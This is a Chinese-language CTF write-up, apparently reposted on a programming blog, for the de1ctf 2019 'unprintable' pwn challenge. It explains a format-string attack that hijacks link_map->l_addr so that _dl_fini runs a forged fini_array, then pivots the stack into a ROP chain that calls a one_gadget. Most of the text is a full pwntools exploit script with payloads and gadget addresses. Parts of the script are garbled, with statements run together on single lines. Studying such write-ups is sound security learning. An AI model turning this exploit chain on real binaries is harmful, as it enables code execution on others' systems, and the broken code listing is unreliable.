本文主要是介绍de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,存在一个非栈上的格式化字符串漏洞,但是关闭了文件描述符1,导致不能输出,并且printf结束后就调用了exit(0)
看看栈里有没有什么可用的数据
基本没有,要想劫持printf返回地址进而多次利用,是不行的,因为printf一次性不能实现,即不能修改栈中数据指向printf返回地址后继续利用新得到这个地址取修改printf返回地址,即其不具有传递性,其值依然是之前的值,因此必须分步。
在这里,我们发现一个有用的指针,该指针指向的地方正好就对应着dl的linkmap->l_addr
exit会调用dl_fini函数,我们看看dl_fini函数的源码
本来l->l_addr为0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000600DD8
现在,我们劫持l_addr,使得l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到我们的buf里,这样,我们就能在buf里伪造fini_array,进而进行二次利用。
因此,第一次,我们的payload为
payload ='%'+str(0x298)+'c'+'%26$hn'
payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)
sh.sendline(payload)
这样做以后,l->addr变成了0x298,l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr处就偏移到了我们buf里,而此处我们布下了地址0x00000000004007A3,于是0x00000000004007A3处会被执行。
当第二次回到printf的时候,栈里已经有许多成链的栈地址可以用了,并且,有一个直接指向了printf的返回地址,我们可以直接利用。
这样,我们就在buf里布置下rop,然后利用printf成链攻击劫持函数栈迁移返回到buf里执行rop。
其中有一个gadget,我们可以用来将bss段上的stdout指针改成one_gadget地址,然后在csu里面进行call即可。
.text:00000000004006E8 adc [rbp+48h], edx
#coding:utf8
from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
stderr_ptr_addr = 0x0000000000601040
one_gadget = 0xf1147
offset = one_gadget - libc.sym['_IO_2_1_stderr_']'''.text:00000000004006E8 adc [rbp+48h], edx
.text:00000000004006EB mov ebp, esp
.text:00000000004006ED call deregister_tm_clones
.text:00000000004006F2 pop rbp
.text:00000000004006F3 mov cs:completed_7594, 1
.text:00000000004006FA rep retn
'''
adc_p_rbp_edx = 0x00000000004006E8sh = process('./de1ctf_2019_unprintable')
#sh = remote('node3.buuoj.cn',26685)
sh.recvuntil('This is your gift: ')
stack_addr = int(sh.recvuntil('\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)#第一步,更改ld.so里的offset,使得array函数数组偏移到bss段上的buf里,重新执行read、printf
#第一步的作用是在栈里留下了大量的栈指针
payload ='%'+str(0x298)+'c'+'%26$hn'
payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)
sh.sendline(payload)
sleep(0.5)
rop_addr = 0x0000000000601260
#利用gadget将stderr指针改为one_gadget指针
rop = p64(csu_pop)
tmp = stderr_ptr_addr-0x48
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)
#调用one_gadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)rop_addr = rop_addr - 0x18
#第二次,我们在buf里布下rop,同时劫持printf返回地址,进行下一轮利用
stdout_ptr_addr = 0x0000000000601020
payload = '%' + str(0xA3) + 'c%23$hhn'
payload = payload.ljust(0x200,'\x00')
payload += rop
sh.sendline(payload)
sleep(0.5)
#接下来我们在栈里布下rop_addr
for i in range(6):data = (stack_addr - 0x118 + i) & 0xFFif data < 0xA3:payload = '%' + str(data) + 'c%18$hhn%' + str(0xA3-data) + 'c%23$hhn'else:payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%18$hhn'sh.sendline(payload)sleep(0.5)data = rop_addr & 0xFFif data == 0:payload = '%13$hhn%' + str(0xA3) + 'c%23$hhn'else:if data < 0xA3:payload = '%' + str(data) + 'c%13$hhn%' + str(0xA3-data) + 'c%23$hhn'else:payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%13$hhn'rop_addr = rop_addr >> 0x8sh.sendline(payload)sleep(0.5)
sleep(0.5)
#接下来,劫持printf的返回地址为pop rsp,使得栈迁移到buf里执行rop
payload = '%' + str(pop_rsp & 0xFFFF) + 'c%23$hn'
sh.sendline(payload)sh.interactive()
这篇关于de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!